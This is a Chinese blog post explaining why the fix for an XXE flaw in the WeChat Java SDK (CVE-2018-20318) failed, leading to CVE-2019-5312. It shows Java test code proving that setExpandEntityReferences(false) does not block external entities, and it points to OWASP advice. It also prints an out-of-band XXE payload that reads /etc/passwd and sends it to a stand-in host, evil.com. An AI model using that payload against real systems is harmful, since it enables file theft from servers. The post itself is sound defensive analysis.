修不好的洞，JDK的坑——從WxJava XXE注入漏洞中發現了一個對JDK的誤會

摘要： 事情緣起 前些日，開源社群流行的微信Java SDK爆出XXE注入漏洞，漏洞編號為： CVE-2019-5312 。在我分析漏洞時發現這個漏洞源自於一個未修好的漏洞： CVE-2018-20318 。在做這兩個漏洞的補丁commit diff的時候發現CVE-2018-20318的修復方...

事情緣起

前些日，開源社群流行的微信Java SDK爆出XXE注入漏洞，漏洞編號為： CVE-2019-5312 。在我分析漏洞時發現這個漏洞源自於一個未修好的漏洞： CVE-2018-20318 。在做這兩個漏洞的補丁commit diff的時候發現CVE-2018-20318的修復方案是在建立DocumentBuilderFactory例項後對其做了 factory.setExpandEntityReferences(false) 的設定。CVE-2019-5312中又在下面增加了 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) 的設定。這引起了我的好奇，深挖了一下，發現整個事情還比較有趣，於是想整理下，分享給大家。

啥是XXE注入

既然是有關XXE注入的漏洞，那麼想讀懂這篇文章就需要對XXE注入漏洞有所瞭解。在這裡我推薦閱讀 @gyyyy 大佬的文章： 《XXE注入漏洞概述》 ，文章中非常詳細的介紹了XXE注入的基礎知識、漏洞原理、挖掘思路、利用方式等等。我在本文中簡單帶過一下原理。

XML外部實體注入 （XML External Entity Injection） 是一種針對解析XML文件的應用程式的注入型別攻擊。當惡意使用者在提交一個精心構造的包含外部實體引用的XML文件給未正確配置的XML解析器處理時，該攻擊就會發生。XXE注入可能造成敏感資訊洩露、拒絕服務、SSRF、命令執行等危害。

XML實體又分為內部實體和外部實體，宣告方式如下：

<!ENTITY name "value">

<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">

外部實體宣告中，分為 SYSTEM 和 PUBLIC ，前者表示私有資源 （但不一定是本機） ，後者表示公共資源。實體宣告之後就可以在文字中進行引用了：

<foo>&xxe;</foo>

XXE注入較為常見的利用方式是基於OOB的任意檔案讀取 （盲注） ，利用方式如下：

<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>

xxeoobdetector.xml

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;

更多內容也可以參考 XML_External_Entity_(XXE)_Processing 。

XXE注入漏洞簡要分析

進入 getXmlDoc() 方法中發現此處已經對 DocumentBuilderFactory 例項進行了 setExpandEntityReferences() 的設定，但經過測試，這裡依然可以解析DTD文件和外部實體，觸發漏洞。

節外生枝

直接跟進這個方法定義的位置：

從程式碼註釋翻譯過來大概是 指定此程式碼生成的解析器將擴充套件實體引用節點。 預設情況下，此值為 true ，如果引數為 true ，解析器將擴充套件實體引用節點，否則設定為 false 。 官方文件 的解釋與其一致，不再展示。

那麼從這短短的一句話上分析， setExpandEntityReferences() 方法引數為 true 的時候，解析器會擴充套件外部實體，為 false 的時候不擴充套件，好像沒毛病。我如果是開發看到了文件給出的解釋也會這樣改，那麼問題到底在哪裡？

尋坑之路

在這個回覆中甚至提到了OWASP的文件中都是需要更新和維護的。OWASP以前的文件不可考察了，現在OWASP中針對XXE注入防護的Java部分是這樣的：

挖到這裡，我大致明白了這個方法的作用， 此方法作於XML解析後生成的文件。設定為 true 則展開實體引用到生成的文件中替換掉 &xx 的實體引用宣告，設定為 false 則保留實體引用宣告的DOM樹在生成的文件中 。

<!DOCTYPE foo [
<!ENTITY xxe "test">
]>
<document> 
<title>&xxe;</title> 
</document>

測試程式碼：

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.EntityReference;
import org.w3c.dom.NodeList;

import javax.xml.parsers.DocumentBuilderFactory;
import java.io.ByteArrayInputStream;

public class Test {

public static void main(String[] args) {
String xmlStr=
"<!DOCTYPE foo [\n" +
"<!ENTITY xxe \"test\">\n" +
"]>\n" +
"<document> \n" +
"<title>&xxe;</title> \n" +
"</document> ";

Document doc= getXmlDoc(xmlStr);
Element e = (Element) doc.getElementsByTagName("title").item(0);
final NodeList nl = e.getChildNodes();
System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference));
System.out.println("nl.getLength():" + nl.getLength());

}

public static Document getXmlDoc(String xmlString) {
try {
final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Comment the code below to see the effect
factory.setExpandEntityReferences(false);
Document xmlDoc = factory.newDocumentBuilder()
.parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8")));
return xmlDoc;
} catch (Exception e) {
throw new RuntimeException(e);
}

}

}

注意此時 nl 的長度為1，此時文件結構大致如下：

+- document
+- title
|+- #text：test

輸出如下：

我們發現，此時的 nl 的長度為2， nl.item(0) 是一個name為 xxe 的 EntityReference 節點，它還有個兄弟節點，值為 test 。此時文件結構大致如下：

+- document
+- title
|+- xxe
|+- #text：test

輸出如下：

上面的例子證明了，無論如何設定 setExpandEntityReferences() ，外部文件都是已經解析完了的。因此無法防護XXE注入。

不過官方文件描述過於簡單，實時也證明了通過官方文件對 setExpandEntityReferences() 的解釋真的容易產生歧義。因此在開發者修復漏洞的時候還是要參考OWASP給出的參考建議 （我甚至覺得OWASP建議中的 setExpandEntityReferences(false) 都應該註釋標明它不能防止XXE注入） ，不要太過於自信自己對文件的理解。修改後應及時測試。

官方認坑